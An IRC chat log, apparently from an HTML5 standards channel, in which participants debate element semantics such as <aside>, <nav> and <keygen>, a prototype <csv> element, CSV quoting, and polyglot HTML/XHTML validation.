i should probably get around to making webidl relevant for ES5 kinda things like that

[06:23:00.0000] <heycam>
/me heads to bed

[06:23:01.0000] <Philip`>
hsivonen: Probably because of the reasons in the bottom of http://lists.w3.org/Archives/Public/public-html/2009Aug/1220.html

[06:24:00.0000] <hsivonen>
I don't see why it would be productive to ask Flash embedding snippet generators to change

[06:24:01.0000] <hsivonen>
but then, I don't see why it's productive to ask Java applet embedding snippet generators to change, either

[06:26:00.0000] <Philip`>
(My assumption that those are the relevant reasons is because they come from an X3D person, rather than because they're necessarily good reasons)

[06:28:00.0000] <Lachy>
Is <object> even capable of doing everything needed to embed an applet, that <applet> can do?

[06:29:00.0000] <hsivonen>
Lachy: I'm not sure, but HTML5-compatible <object> for Java has near-non-existent documentation while <applet> has plenty

[06:29:01.0000] <hsivonen>
http://webtrendmap.com/craigmod/161/ is such a pain to debug

[06:43:00.0000] <hsivonen>
so far I've figured that the jquery crasher is due to OnLocationChange running differently

[06:43:01.0000] <annevk3>
/me wonders why Sam is playing games regarding <keygen>

[06:43:02.0000] <Creap>
How does 'required' work on checkboxes?

[06:45:00.0000] <Creap>
Is it required to be changed, or to be checked

[06:45:01.0000] <Creap>
oh, nevermind, I missed a note

[06:45:02.0000] <Creap>
"If the element is required and its checkedness is false, then the element is suffering from being missing."

[06:47:00.0000] <Lachy>
hsivonen, yeah, I know I argued to have <applet> added to HTML5 as conforming once. I can't remember the reason Hixie rejected it

[06:50:00.0000] <Lachy>
we should make keygen non-conforming, and just keep the implementation requirements in the spec for now

[06:51:00.0000] <Philip`>
/me guesses making <keygen> optional would make Microsoft happy, since then they wouldn't have to intentionally violate the spec, and it would still be documented for everyone else who wants to bother implementing it

[06:51:01.0000] <Lachy>
given that it's a really badly designed feature, we should do as much as possible to discourage its use, rather than encourage it by making it conforming

[06:52:00.0000] <Lachy>
Philip`, I didn't say we should make it optional. Just make it a document conformance error to use it.

[06:52:01.0000] <hsivonen>
Lachy: the reason basically boils down to <applet> being specific to Java while <embed> isn't specific to Flash in theory

[06:53:00.0000] <Lachy>
hsivonen, that sounds like an argument from theoretical purity, in spite of practicality

[07:00:00.0000] <hsivonen>
Hixie: ^

[07:28:00.0000] <markhuot>
Wow, I have to say that HTML5 worried me with all the element confusion. But now that I've found custom data attributes I think I may be in love: http://www.whatwg.org/specs/web-apps/current-work/#embedding-custom-non-visible-data

[07:33:00.0000] <miketaylr>
markhuot: for reals.

[07:35:00.0000] <hsivonen>
markhuot: what element confusion are you referring to? <footer>?

[07:40:00.0000] <markhuot>
hsivonen: yea, FOOTER and ASIDE really.

[07:41:00.0000] <markhuot>
Actually, I think TabAtkins was going to make a post about it the other day. Does anyone know where that would have been posted, if it was?

[07:41:01.0000] <TabAtkins>
Yo.

[07:41:02.0000] <TabAtkins>
I sent it in the thread I'm currently responding to, I think.  

[07:41:03.0000] <TabAtkins>
/me scans...

[07:42:00.0000] <TabAtkins>
"Implementor feedback on new elements in HTML5".  16 hours ago.

[07:43:00.0000] <markhuot>
Hey there TabAtkins. Ah, thanks. I've been reading the archives up until now, I guess I should bite the bullet and subscribe though so I'm not a few days behind all the time.

[07:43:01.0000] <Philip`>
You could just increase your polling frequency on the archives

[07:43:02.0000] <TabAtkins>
250ms should be sufficient.

[07:44:00.0000] <markhuot>
:) Now that sounds like just the ticket.

[07:44:01.0000] <Philip`>
Opera is good for that since you can bind the archives to a speed-dial button, and whenever you're bored or distracted (i.e. every five minutes, at least when I did this) you can compulsively hit the key to view the archives for any nice blue unread links

[07:46:00.0000] <gsnedders>
(So be careful)

[07:47:00.0000] <TabAtkins>
Since Hixie explained it, though, I'm cool with <aside>.  I'm proposing an amendment to the spec text for it right now for the list.  <footer> is still no good as written.

[07:47:01.0000] <markhuot>
Ah, I'm going back and reading Hixie's explanation of ASIDE now.

[07:48:00.0000] <TabAtkins>
Yeah, the generalization of "tangential to content" to "tangential to page" was not one I was comfortable making as an informed author.

[07:48:01.0000] <TabAtkins>
Which is ironic, since it's precisely the reasoning I used at first when I tried to use <aside> as a sidebar.

[07:51:00.0000] <gsnedders>
/me sighs at h2g2

[07:51:01.0000] <markhuot>
It can be confusing though. However, reading through Hixie's explanation seems to clear things up a bit…

[07:52:00.0000] <miketaylr>
markhuot: can you post a link to that? i'd like to read it as well

[07:53:00.0000] <Philip`>
gsnedders: The book, or the web site?

[07:54:00.0000] <gsnedders>
Philip`: The web site

[07:55:00.0000] <Lachy>
TabAtkins, you should just give in and use aside for a sidebar as it was initially designed

[07:56:00.0000] <TabAtkins>
Lachy: I have.  ^_^  Which is why I'm now proposing an amendment to the spec text, to make that clear again.

[07:56:01.0000] <gsnedders>
http://www.bbc.co.uk/dna/h2g2/A184060

[07:56:02.0000] <Lachy>
TabAtkins, have you sent the proposal, or still writing it?

[07:57:00.0000] <TabAtkins>
Writing it now.

[07:57:01.0000] <Philip`>
h2g2 is like a cross between Wikipedia and Uncyclopedia

[07:59:00.0000] <TabAtkins>
It reminds me of everything2 (IIRC the name).

[07:59:01.0000] <gsnedders>
"Possibly the best place to meet someone [for a first date] is a record shop - you can always browse the shelves while you're waiting, and if you get stood up you can at least pick up a few bargains in the process."

[08:00:00.0000] <Lachy>
how does anyone get h2g2 as an abbreviation for "The Hitchhiker's Guide to the Galaxy"? - http://www.bbc.co.uk/dna/h2g2/dontpanic-tour

[08:00:01.0000] <TabAtkins>
HitchHikers Guide to the Galaxy

[08:00:02.0000] <TabAtkins>
Clearly inferior as an abbreviation, but shrug.

[08:00:03.0000] <gsnedders>
(note the two words beginning to t, too)

[08:00:04.0000] <Lachy>
oh. That's the most obscure abbreviation ever

[08:00:05.0000] <Lachy>
and Hitchhiker's is written as one word

[08:00:06.0000] <TabAtkins>
Yeah, took me forever to realize what it meant when the movie was coming out.

[08:01:00.0000] <Lachy>
I don't remember that abbr being used for the movie

[08:16:00.0000] <TabAtkins>
Hrm.  I doubt it's possible for a Location-header redirect to take advantage of the <base> url...

[08:16:01.0000] <Lachy>
With all the discussion about how temperature doesn't really have an upper bound (in the <meter> thread), someone should inform thermometer manufacturers that they're doing things wrongly by limiting their gauges between, e.g. -20 and 60˚C (for outdoor weather thermometers)

[08:17:00.0000] <TabAtkins>
Already hit that.  ^_^

[08:17:01.0000] <TabAtkins>
Anyway, you eventually run out of entropy - a given system *does* technically have an upper bound.

[08:18:00.0000] <TabAtkins>
Albeit in high exponentials.

[08:19:00.0000] <Lachy>
TabAtkins, that depends if you accept the hypothesis of their being an Absolute Hot, at the opposite end of the scale from Absolute Zero

[08:19:01.0000] <TabAtkins>
No, it's a theorem based on thermodynamics.

[08:19:02.0000] <Philip`>
What if you have a meter showing the temperature of the universe, updating dynamically with t moving towards 0?

[08:19:03.0000] <TabAtkins>
Where temperature is correlated with entropy, and a given system has a maximum level of entropy.

[08:20:00.0000] <TabAtkins>
Philip` <progress toward=heat-death>?

[08:20:01.0000] <jcranmer>
I thought temperature was enthalpy, not entropy

[08:20:02.0000] <TabAtkins>
jcranmer: Different formulation of entropy.

[08:20:03.0000] <jcranmer>
t = time or temperature, Philip` ?

[08:20:04.0000] <TabAtkins>
temperature is T, not t.

[08:20:05.0000] <Philip`>
t = time

[08:20:06.0000] <Lachy>
I struggle with the concept of entropy already. I don't even know what enthalpy is.

[08:20:07.0000] <Philip`>
(Sorry, I assumed that was obvious :-p )

[08:20:08.0000] <jcranmer>
at the big bang, the temperature was.. er..

[08:20:09.0000] <Philip`>
so heat-death is the wrong end of the universe

[08:21:00.0000] <TabAtkins>
Buh, sorry.  Missed the t->0 bit.

[08:24:00.0000] <TabAtkins>
Ah, good.  Turns out I store the <base href> in the db with the site info anyway.

[08:24:01.0000] <Lachy>
so at t = (0 + 1/infinity), at the instant the universe began expanding, all the energy of the universe was condenced into such a small, hot region of plasma, that would be the hottest possible temperature in this universe. Is that right?

[08:24:02.0000] <TabAtkins>
Given an appropriately rigorous definition of an infinitesimal moment from the singularity, yeah.

[08:25:00.0000] <Philip`>
Given the assumption that physics works at that time too

[08:25:01.0000] <TabAtkins>
I think we can't reason about it if we don't assume physics still works.

[08:25:02.0000] <Philip`>
(which it doesn't, as far as I'm aware)

[08:25:03.0000] <Philip`>
s/physics/known models of physics/

[08:25:04.0000] <TabAtkins>
*At* the singularity we lose it, but not *just afeter*.

[08:25:05.0000] <Lachy>
so is that the same as the theoretical Absolute Hot? Or if some hypothetical universe began with more engergy than this one, would it be hotter?

[08:26:00.0000] <TabAtkins>
Some stuff just works weird at those energy levels.

[08:26:01.0000] <TabAtkins>
Lachy: under that definition, Absolute Hot is universe-specific.

[08:26:02.0000] <TabAtkins>
Under the definition I was referring to before (the weird thermodynamic one) you can actually achieve Absolute Hot in the lab, and then wrap right back around to negative temperatures.

[08:27:00.0000] <TabAtkins>
That is to say, you can overflow temperature itself.  ^_^

[08:27:01.0000] <Lachy>
Philip`, I'm using a hypothetical model of physics in which the issues of general relativity and quantum mechanics have been resolved into a unified theory of everything.

[08:28:00.0000] <Philip`>
How are you defining the notion of temperature in that model?

[08:28:01.0000] <TabAtkins>
http://en.wikipedia.org/wiki/Negative_temperature

[08:28:02.0000] <TabAtkins>
Like that.

[08:31:00.0000] <Lachy>
Philip`, if I knew that, my model wouldn't be hypothetical.

[08:32:00.0000] <TabAtkins>
Philip` something like energy density is probably a good idea there.

[08:32:01.0000] <Philip`>
Lachy: If you don't know what temperature is, it's hard to work out whether there's a maximum value for it

[08:32:02.0000] <TabAtkins>
/me notes that this becomes confused with the gauge changes, though...

[09:04:00.0000] <TabAtkins>
All right, just sent proposal for <aside>.  After thinking about it, I don't think the text itself really needs to change, so I suggested an additional example that makes it clear that website sidebars are appropriate uses of the element.

[09:21:00.0000] <cardona507>
forgive me if this is phrased wrong- are touch gestures supported in html 5? 

[09:21:01.0000] <cardona507>
multi-touch

[09:23:00.0000] <inimino>
cardona507: that would be more a feature of browsers, not of HTML

[09:23:01.0000] <cardona507>
wouldn't the spec be the place to clearly define it so that the browsers implement it uniformly - or is that wishful thinking?

[09:23:02.0000] <markhuot>
inimino: not necessarily, there would probably need to be events for "pinch" (as an example)

[09:26:00.0000] <Philip`>
Sounds like more of a Web Apps WG thing

[09:56:00.0000] <TabAtkins>
Breadcrumbs: <nav> or not?

[09:57:00.0000] <beowulf>
<pwd>...</pwd>

[09:57:01.0000] <TabAtkins>
Ah, of course.

[10:24:00.0000] <markhuot>
beowulf, was that serious? I don't see any reference to a PWD element…

[10:24:01.0000] <TabAtkins>
Nah, that was a joke.  ^_^

[10:25:00.0000] <markhuot>
:) Darn, it made so much sense though ;-)

[10:25:01.0000] <TabAtkins>
pwd on a linux box lists the current path

[10:25:02.0000] <TabAtkins>
Hehe.

[10:25:03.0000] <markhuot>
Yup, yup. It made perfect sense to me. I'd love a PWD just for bread crumbs and the like.

[10:26:00.0000] <TabAtkins>
Really, though, breadcrumbs are just a nav.  But are they primary enough to be <nav> is the question.

[10:26:01.0000] <TabAtkins>
I'm gonna lean toward yes.

[10:26:02.0000] <TabAtkins>
Because otherwise I'm splitting hairs way too finely for my taste.

[10:27:00.0000] <markhuot>
Hum, I'd lead towards no, only because I wouldn't want duplicate NAV items point to the About page (for example).

[10:27:01.0000] <markhuot>
But that's a personal preference thing I think. Not the fault of the spec's definition of NAV.

[10:30:00.0000] <markhuot>
Philip`, to go way way back to what you said about the Web Apps WG, I was simply saying that if the spec includes references to `onclick` then it may need a reference to `pinch` or `tofingertap`, etc…

[10:34:00.0000] <Binarytales>
surely pinch could be discovered by polling for a change in the size of something (as it's pretty much always used to scale) and fingertaps or covered by onclick and onmousedown?

[10:42:00.0000] <markhuot>
Hum, but how would you know if someone pressed with one finger or two on a link or button with onclick?

[10:42:01.0000] <markhuot>
Pinch, could be discovered with polling, but then couldn't `keyup` as well? I'd say as a measure of convenience `onpinch` would be as helpful as `onkeyup`

[10:44:00.0000] <Binarytales>
I see what your saying

[10:51:00.0000] <Binarytales>
it would be cool if onpinch were to return deltas for the amount of pinch or pehaps an array of onmousedown events of something (I've not done a lot of javascript stuff so that might not make sense)

[12:24:00.0000] <rubys>
tantek: http://intertwingly.net/blog/2009/09/02/Polyglot-Validation

[12:49:00.0000] <tantek>
hi rubys - reading now

[12:55:00.0000] <rubys>
hi tantek, let me know what you think

[12:56:00.0000] <TabAtkins>
tantek: got the <cvs> example working in ie, but I"m gonna have to scrap the implementation in any case to account for separator characters appearing in quoted fields.  I'll move to a character-by-character parser instead.

[12:56:01.0000] <tantek>
rubys - more details also added to the sf guide: http://www.zeldman.com/superfriends/guide/#validation

[12:56:02.0000] <tantek>
TabAtkins, your implementation is still an excellent "proof of concept"

[12:57:00.0000] <tantek>
for now, it's worth publishing and explicitly noting the limitations (e.g. characters appearing in quoted fields)

[12:57:01.0000] <TabAtkins>
Yeah, it works perfectly as I want it now if you can trust the separator character perfectly.

[12:57:02.0000] <TabAtkins>
I got it to move all of the <cvs> attributes to the generated <table> too.

[12:57:03.0000] <TabAtkins>
I need someone to help me translate it from jQuery to DOM, though.

[12:58:00.0000] <tantek>
rubys - I disagree that XHTML 1.0 named entities shouldn't be allowed. 

[12:58:01.0000] <rubys>
tantek, yes that "more" details, but I have experience with developing a validator... and that's why I'm insisting on concrete test cases.

[12:58:02.0000] <tantek>
requesting test cases is reasonable

[12:58:03.0000] <TabAtkins>
In fact, someone (possibly me) needs to make a tutorial - "Turning your jQuery into normal javascript".

[12:59:00.0000] <tantek>
heh - indeed

[12:59:01.0000] <tantek>
again, for a proof of concept, jQuery is fine

[12:59:02.0000] <tantek>
which is all we need for a spec proposal per se

[12:59:03.0000] <tantek>
it shows implementability, utility, etc.

[12:59:04.0000] <TabAtkins>
Yeah.

[12:59:05.0000] <rubys>
tantek: cool.  Produce a few this week, and I will try to see if I can implement some of them next week, and get Mike to deploy the results publicly for you and everybody else to bang on.

[13:00:00.0000] <TabAtkins>
/me will be back in a few, needs to hit up Sonic before returning to work.

[13:01:00.0000] <tantek>
rubys - I'll try to add to the "etc." and answer Henri's questions first - then the next logical step would be to produce a test case for each bullet point in http://www.zeldman.com/superfriends/guide/#validation

[13:02:00.0000] <gsnedders>
If we want to do that, do we want to check if the page is valid XHTML as well as HTML?

[13:02:01.0000] <tantek>
(and perhaps even link to the test cases from the bullet points)

[13:02:02.0000] <gsnedders>
Do we want to check whether it parses to the same tree in both XHTML in HTML?

[13:02:03.0000] <gsnedders>
*as

[13:02:04.0000] <gsnedders>
*and

[13:02:05.0000] <tantek>
gsnedders - that's a reasonable add

[13:02:06.0000] <rubys>
gsnedders: see the comments on my blog post.  There may be differences that don't matter.

[13:03:00.0000] <tantek>
since tree differences would result in DOM differences, and may result in CSS styling differences, since CSS rules apply to the tree

[13:03:01.0000] <rubys>
Henri's point about <pre> followed by new-line is a valid one.

[13:03:02.0000] <tantek>
rubys - so far, for each difference, I've been able to find a case where it could cause an unintended runtime error

[13:03:03.0000] <Philip`>
(<textarea> too)

[13:03:04.0000] <gsnedders>
I guess it means making all entities apart from the four XML ones errors, as they aren't allowed in XHTML

[13:03:05.0000] <gsnedders>
and <listings>

[13:03:06.0000] <gsnedders>
or listing

[13:03:07.0000] <gsnedders>
or whatever it is

[13:03:08.0000] <tantek>
gsnedders - no - XHTML 1.0 includes named entities

[13:03:09.0000] <gsnedders>
:P

[13:03:10.0000] <Philip`>
gsnedders: Nobody cares about obsolete elements :-p

[13:03:11.0000] <tantek>
therefore so should XHTML syntax

[13:04:00.0000] <gsnedders>
tantek: Aren't we checking HTML 5 and XHTML 5, though?

[13:04:01.0000] <gsnedders>
tantek: Or are we doing HTML 4.01 and XHTML 1.0, which makes things like <img> impossible to use

[13:04:02.0000] <tantek>
gsnedders, there is no such thing as "HTML 5", there is only HTML5. there is no such things as "XHTML 5" there is only "XHTML syntax of HTML5".

[13:04:03.0000] <tantek>
gsnedders - read: http://www.zeldman.com/superfriends/guide/#validation

[13:05:00.0000] <gsnedders>
tantek: I have.

[13:05:01.0000] <tantek>
that answers your question

[13:05:02.0000] <gsnedders>
It doesn't.

[13:05:03.0000] <tantek>
read it again 

[13:05:04.0000] <Philip`>
If you want the same tree in HTML and XHTML, you couldn't even write "<ul><li>item 1</li> <li>item 2</li><ul>"

[13:05:05.0000] <Philip`>
Wait, I'm probably being stupid

[13:06:00.0000] <Philip`>
That's just in IE, not HTML5, I think

[13:06:01.0000] <Philip`>
Please ignore me

[13:06:02.0000] <tantek>
it's ok Philip`, this is IRC, we all expect to say things before we've fully thought them through :)

[13:07:00.0000] <Philip`>
Am I still being stupid if I think you can't even write "<!DOCTYPE html><html>...all the normal body stuff...</html> " ?

[13:07:01.0000] <gsnedders>
tantek: My understanding of that is we want to check that a document is both valid HTML and the corresponding version of XHTML, which if we want to check parse trees are the same is rather useless for HTML 4.01  as <img /> is parsed differently.

[13:07:02.0000] <gsnedders>
Philip`: You could, why couldn't you?

[13:08:00.0000] <tantek>
gsnedders - false. they are allowed in XHTML 1.0.

[13:08:01.0000] <tantek>
and in practice, no, <img /> is not parsed differently

[13:08:02.0000] <gsnedders>
tantek: How is that false? Parsed per HTML 4.01 you get an img element followed by ">", and XHTML you get a single img element.

[13:08:03.0000] <gsnedders>
tantek: Sure, but we're checking against the spec, and if we're dealing with HTML 4.01, then that is true.

[13:09:00.0000] <tantek>
gsnedders - your HTML 4.01 spec literalism is a waste of time.

[13:09:01.0000] <Philip`>
gsnedders: Because in HTML5 the whitespace goes inside the body, in XHTML it doesn't, so the trees are different

[13:09:02.0000] <gsnedders>
tantek: Then educate people to not use HTML 4.01 if they want their XML-isms

[13:10:00.0000] <tantek>
gsnedders - like I said - reread http://www.zeldman.com/superfriends/guide/#validation to understand the purpose

[13:10:01.0000] <gsnedders>
tantek: I have. I am asking questions to try and understand the purpose.

[13:11:00.0000] <gsnedders>
If you want to check coding standards exactly per XHTML, these are all valid questions

[13:11:01.0000] <tantek>
no - the HTML4.01 shorttag net crap questions is just a waste of time - you're asking theoretical questions that have zero impact in practice - therefore you are wasting time.

[13:12:00.0000] <gsnedders>
So why don't we just validate against what creates an identical parse tree in all browsers, and ignore all specs?

[13:13:00.0000] <gsnedders>
Making <u> throw an error is theoretical and has zero impact in practice.

[13:13:01.0000] <tantek>
gsnedders - reductio ad absurdum arguments are not useful either.

[13:13:02.0000] <tantek>
("ignore all specs")

[13:14:00.0000] <Philip`>
/me presumes the aim is to find the underlying principles behind the specific suggestions, so that it's possible to tell what other suggestions would fit in

[13:14:01.0000] <gsnedders>
So we should be validating against the parts of HTML 4.01 that are relevant in the real world?

[13:14:02.0000] <tantek>
gsnedders - next homework assignment: read http://en.wikipedia.org/wiki/List_of_fallacies

[13:15:00.0000] <tantek>
gsnedders, no, you should be ignoring any nitpicky details of HTML4.01 which have never been implemented in practice.

[13:15:01.0000] <hober>
I didn't even think we were talking about validating HTML 4.01 at all, but instead validating documents which purport to be simultaneously XHTML5 and HTML5

[13:16:00.0000] <tantek>
and in fact have been *interoperably* implemented in other ways

[13:20:00.0000] <fupp>
how do I parse a webpage with iso-8859-1 encoding with html5lib? I tried the stuff in the docs but it doesn't work

[13:24:00.0000] <tantek>
rubys - really appreciate your volunteering to help with the validation stuff

[13:25:00.0000] <rubys>
and if you scroll back, you can see why I'm limiting myself to vetted test cases :-)

[13:26:00.0000] <rubys>
I don't want to get sucked into those arguments.

[13:31:00.0000] <gsnedders>
hober: But the "Super Friends" document explicitly refers to XHTML 1.0

[13:32:00.0000] <gsnedders>
tantek: Also, FWIW, according to HTML 5 section 1.7, there is both HTML5 and XHTML5.

[13:33:00.0000] <hober>
I think you're misreading that paragraph (of the sf document), gsnedders 

[13:33:01.0000] <hober>
they're not saying "We want to validate a document as simultaneously both HTML5 and XHTML 1.0"

[13:34:00.0000] <gsnedders>
Then I wish someone would tell me _how_ I'm meant to be reading that document instead of just telling me to read it again.

[13:34:01.0000] <hober>
they're saying "in the past, we could validate documents-served-as-text/html as XHTML 1.0; in the future, we'd like to be able to validate documents-served-as-text/html as XHTML5"

[13:34:02.0000] <hober>
tantek: please correct me if my interpretation is wrong

[13:34:03.0000] <gsnedders>
But you can already do that, just change the parser to XML.

[13:35:00.0000] <hober>
gsnedders: indeed.

[13:35:01.0000] <gsnedders>
Which is why are far as I can tell it's about checking a document is both valid HTML and XHTML

[13:35:02.0000] <gsnedders>
But apparently we're meant to ignore certain parts of the spec we're validating against

[13:37:00.0000] <gsnedders>
I just want to know quite what this dual-mode validation is meant to be.

[13:39:00.0000] <TabAtkins>
Man, I need a corpus of representative CSVs.  How are quote characters typically quoted within a quoted field?  Are the doubled? Slashed? ?_?

[13:40:00.0000] <gsnedders>
It varies by producer massively

[13:40:01.0000] <TabAtkins>
That's what I thought.  Damn legacy formats.

[13:40:02.0000] <gsnedders>
And most variations are incompatible with each other :P

[13:41:00.0000] <TabAtkins>
;_;

[13:41:01.0000] <hober>
TabAtkins: there's an RFC

[13:41:02.0000] <TabAtkins>
hober: Any idea if the RFC corresponds to reality, though?

[13:41:03.0000] <hober>
RFC 4180

[13:42:00.0000] <hober>
it does IIRC

[13:44:00.0000] <TabAtkins>
Yeah, that describes the doubling-behavior that I think is pretty common.  But I'm not sure if \ing them is prevalent enough to make me care about it too.

[13:48:00.0000] <tantek>
TabAtkins - see http://www.data.gov/ for a ton of CSVs :)

[13:49:00.0000] <Philip`>
Probably not a good way to see a wide range of formats

[13:50:00.0000] <tantek>
Philip` - you might be surprised. different government agencies do their own thing.

[13:50:01.0000] <tantek>
TabAtkins - also: http://datasf.org/

[13:51:00.0000] <TabAtkins>
All right, cool.

[13:52:00.0000] <tantek>
also, you might find this useful: http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm

[13:53:00.0000] <tantek>
which was linked from this CSV file editor tool: http://csved.sjfrancke.nl/index.html

[13:53:01.0000] <TabAtkins>
Yeah, the ability of fields to contain linebreaks is another reason why I need to move to a full parser, rather than a simple regexp-based implementation.

[13:54:00.0000] <tantek>
which itself was linked from a page of "open science resources" - CSV may be the most used format in open science

[13:54:01.0000] <TabAtkins>
Yeah, my wife's a biologist by degree, and has done intern work in labs.  CSVs are *everywhere*.

[13:55:00.0000] <TabAtkins>
http://www.xanthir.com/etc/csv.html contains the current working version.  As long as you don't mess around with quotes or anything, it works like a charm in every browser I've tried.

[13:56:00.0000] <tantek>
TabAtkins - I find it kind of awesome that someone with the first name "Tab" is implementing <csv> element support - just saying :)

[13:56:01.0000] <TabAtkins>
And I recommend always enclosing <csv> in <pre>, just like you do with <code> - it prevents CSS accidents (or non-CSS UAs) from making the table unintelligible, and the js parser won't even *work* in IE without whitespace protection.

[13:57:00.0000] <TabAtkins>
/me sighs.  ^^;

[13:57:01.0000] <tantek>
yes - authoring recommenations - good point

[13:58:00.0000] <hober>
hmm. you could make your code work with <pre><code class="csv">...</code></pre> as well

[14:00:00.0000] <TabAtkins>
Well, that's blessing a class, which works individually, but not if you're trying to provide a migration path to native support.

[14:00:01.0000] <TabAtkins>
<pre><code csv>...</code></pre> is a possibility, but I dunno if that's a good semantic.

[14:01:00.0000] <TabAtkins>
Plus, right now I've got two attributes on <csv>, and they wouldn't really make sense on <code>.

[14:01:01.0000] <hober>
I'm not suggesting that the spec bless a class; I'm suggesting that your hack could use that for people deploying to exisitng UAs/versions of HTML

[14:01:02.0000] <tantek>
csv is data not code

[14:01:03.0000] <TabAtkins>
Yeah, but <csv> works fine in existing UAs.

[14:01:04.0000] <tantek>
I would call that semantic abuse

[14:01:05.0000] <TabAtkins>
Especially if wrapped in <pre>.

[14:01:06.0000] <tantek>
(using <code> for csv that is)

[14:02:00.0000] <tantek>
TabAtkins - agree

[14:02:01.0000] <tantek>
agreed

[14:02:02.0000] <hober>
it works in IE without a document.createElement() hack?

[14:02:03.0000] <TabAtkins>
Yes.  And if you're using the js-based csv-to-table shim that I'm developing, you automatically have the ability to include document.createElement('csv').

[14:03:00.0000] <TabAtkins>
Without the hack (and without the js upward-compat), you just have the CSV data being displayed a preformatted plain text.

[14:03:01.0000] <hober>
re: <code> semantics, agreed; so put the class="" on <pre> :)

[14:04:00.0000] <hober>
*nod* a very sensible fallback

[14:04:01.0000] <TabAtkins>
Yeah, it works well.  Yay <pre>!

[14:05:00.0000] <TabAtkins>
And yeah, you'll probably put class="csv" on your <pre> anyway, just like you currently do <pre .code><code>...

[14:05:01.0000] <TabAtkins>
Gives you a good styling hook.

[14:06:00.0000] <tantek>
also, here is source of *science* CSV files

[14:06:01.0000] <tantek>
http://www.google.com/search?q=science+filetype%3Acsv

[14:06:02.0000] <tantek>
:D

[14:06:03.0000] <hober>
heh

[14:15:00.0000] <TabAtkins>
Hmm, looks like I only need one-character look-ahead to implement this.

[14:23:00.0000] <tantek>
rubys,hsivonen - why the attitude about "how hard it really is" and "isn't really worth it"? Do programmers try to convince each other that fixing code to pass various lint tools "aren't worth it"? Or that running PHP on dev sandboxes with maximum level of warnings and treat warnings as errors is "not worth it"?

[14:25:00.0000] <rubys>
tantek: I don't think we will have any problems.

[14:25:01.0000] <rubys>
tantek: we can start with quoted attributes and matched tags.

[14:25:02.0000] <rubys>
tantek: we can add more and more as you see fit.

[14:26:00.0000] <tantek>
rubys - writing more and more up as we speak.

[14:26:01.0000] <rubys>
it may turn out that there are errors that are hard to detect and nobody cares about... that's fine with me.

[14:26:02.0000] <tantek>
rubys - agreed.

[14:27:00.0000] <tantek>
every additional type of error detected by a validator is a net win.

[14:27:01.0000] <tantek>
regardless of whether we reach some theoretical 100% or something

[14:27:02.0000] <rubys>
+1

[14:27:03.0000] <tantek>
hence why I'm dismissive of theoretical questions/requests like the SHORTTAG NET crap.

[14:27:04.0000] <rubys>
hence why I don't even participate in such discussions.

[14:28:00.0000] <tantek>
understandable. I suppose I still believe folks *want* to be practically productive, and thus offering an explanation as to why such discussions are not productive seems reasonable.

[14:29:00.0000] <rubys>
remember: my blog is 100% valid XHTML5 and 100% valid HTML5.  (with one minor exception at the moment, to make a point about SVG)

[14:29:01.0000] <tantek>
rubys you mean it's both valid XHTML syntax and HTML syntax of HTML5? ;)

[14:29:02.0000] <tantek>
/me dislikes the term XHTML5 - it is misleading.

[14:29:03.0000] <rubys>
sure, whatever the PC way to say that these days is.

[14:30:00.0000] <tantek>
rubys, not trying to be PC, just *precise* in order to reduce confusion.

[14:30:01.0000] <rubys>
I doubt "HTML syntax of HTML5" will catch on.

[14:31:00.0000] <tantek>
rubys, sure, I think by default that's what people will mean by "HTML5"

[14:31:01.0000] <tantek>
and hence will only need to make that distinction when also talking about the "XHTML syntax"

[14:31:02.0000] <Dashiva>
Considering HTML5 closes the XHTML-as-text/html hole, if anything there will be even less XHTML going forward

[14:31:03.0000] <rubys>
so it will end up in a situation where "guy" can be gender neutral or male.

[14:32:00.0000] <tantek>
rubys - more like "they" can mean a singular non-gender reference

[14:32:01.0000] <tantek>
non-gender-specific

[14:32:02.0000] <tantek>
Dashiva there will be less application/xhtml+xml sure but that mimetype was already dying.

[14:32:03.0000] <rubys>
no, people will say HTML5, and mean it to mean a specific syntax or both syntaxes.  And when it means one (the normal case) it will mean a specific one.

[14:33:00.0000] <rubys>
kinda like "guy"

[14:33:01.0000] <Dashiva>
tantek: I meant that fewer people will be saying they make XHTML.

[14:34:00.0000] <tantek>
Dashiva - sure, there will be less marketing of XHTML

[14:34:01.0000] <rubys>
Dashiva: officially URLs no longer exist, per the specs, but the term lives on (and even is getting resurrected in HTML5)

[14:34:02.0000] <tantek>
/me doesn't understand the URL kerfluffle.

[14:35:00.0000] <Dashiva>
rubys: Indeed, but their doctype won't say xhtml anymore. The label is fading. :)

[14:36:00.0000] <rubys>
the label will outlive the doctype

[14:38:00.0000] <Binarytales>
Dashiva - you don't even need to doctype when using the xhtml syntax

[14:38:01.0000] <Dashiva>
Binarytales: We're talking about XHTML as text/html

[14:38:02.0000] <Binarytales>
oh right, sorry

[14:39:00.0000] <rubys>
Dashiva: correction: you are.

[14:39:01.0000] <Dashiva>
But yes, that's also kind of amusing. A document is more likely to say "I'm XHTML" at the top if it isn't.

[14:40:00.0000] <rubys>
A document is also likely to say "strict" at the top but not be.

[14:42:00.0000] <tantek>
/me gets the big red comment posting warning box on intertwingly.net.

[14:42:01.0000] <rubys>
ignore it

[14:43:00.0000] <rubys>
it is just there to scare away the spammers

[14:43:01.0000] <tantek>
/me goes ahead and submits comment anyway and identifies self via OpenID - sweet.

[14:44:00.0000] <rubys>
I have no moderation, just big scary signs.

[14:45:00.0000] <rubys>
tantek: if you post again tomorrow (on any post) or within 90 days, you shouldn't see any scary signs.

[14:46:00.0000] <rubys>
I've got a list of "known" commenters (both by IP and URI) that updates a few times a day.

[14:58:00.0000] <KevinMarks>
     a lot of data.goc CSV's are actually sensibly tab-separated

[14:59:00.0000] <TabAtkins>
I'm already supporting tab-separated stuff fine.

[15:02:00.0000] <dpranke>
TabAtkins: what "rendering" section are you referring to? Someplace other than 4.10.10?

[15:03:00.0000] <TabAtkins>
dpranke: 11.4.15

[15:04:00.0000] <dpranke>
TabAtkins: ah. thanks!

[15:04:01.0000] <TabAtkins>
no proble!

[15:04:02.0000] <TabAtkins>
... s/proble/problem/

[15:06:00.0000] <gsnedders>
Since when did Opera support typing "/." in the address bar to get to /.?

[15:07:00.0000] <TabAtkins>
Haha, awesome.

[15:07:01.0000] <TabAtkins>
10b2, at least.  ^_^

[15:09:00.0000] <tantek>
they might as well add support for typing "@username" to navigate to http://twitter.com/username

[15:13:00.0000] <Philip`>
gsnedders: It's done that since forever

[15:14:00.0000] <Philip`>
or at least since 9.0

[15:14:01.0000] <gsnedders>
Philip`: Yeah, I know it predates 9.5 :P

[15:25:00.0000] <tantek>
rubys, hsivonen - I've followed up on your comment re: validation - hope this helps: http://www.zeldman.com/2009/08/31/loving-html5/#comment-48070

